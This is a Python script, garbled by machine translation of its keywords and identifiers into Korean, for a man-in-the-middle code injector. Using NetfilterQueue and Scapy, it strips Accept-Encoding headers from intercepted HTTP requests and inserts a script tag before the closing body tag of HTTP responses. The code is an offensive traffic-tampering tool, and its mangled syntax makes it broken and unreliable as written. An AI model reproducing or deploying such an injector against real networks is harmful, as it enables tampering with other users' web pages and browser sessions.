리팩토링 및 하우스 키핑 :
# !는 / usr / 빈 / ENV 파이썬 수입 재 에서 netfilterqueue 수입 NetfilterQueue 에서 scapy.layers.inet의 수입 TCP, IP가 에서 scapy.packet의 수입 원료 데프 set_load (패킷 부하) : 패킷 [RAW] .load = 로드 델 패킷 [을 IP] .LEN 델 패킷 [IP] .chksum 델 패킷 [TCP]는 .chksum 리턴 패킷 데프 : process_packet (패킷) scapy_packet = IP (packet.get_payload ()) 의 경우를scapy_packet.haslayer (원시) 및 scapy_packet.haslayer (TCP) 하중 = scapy_packet [원료] .load 경우 == 80 .dport scapy_packet [TCP] : 인쇄 ( " [+] 요청 " ) 하중 =의 re.sub (b " 수용 - 인코딩 :. * R \\ \\ N? " , B ", " 로드) ELIF의 == 80 .sport scapy_packet [TCP] : 인쇄 ( " [+] 응 " ) 하중 = load.replace (b ' < / body> " , B" <script> 경보 ("테스트 "); </ script> </ body> " ) 경우 하중 =! scapy_packet [원료] .load : new_packet = set_load (scapy_packet로드) packet.set_payload을 (STR (new_packet) 함수 .encode ()) packet.accept () 큐 = NetfilterQueue () queue.bind (0, process_packet) 시도 : (queue.run) 을 제외하고 KeyboardInterrupt : 인쇄 ( '' )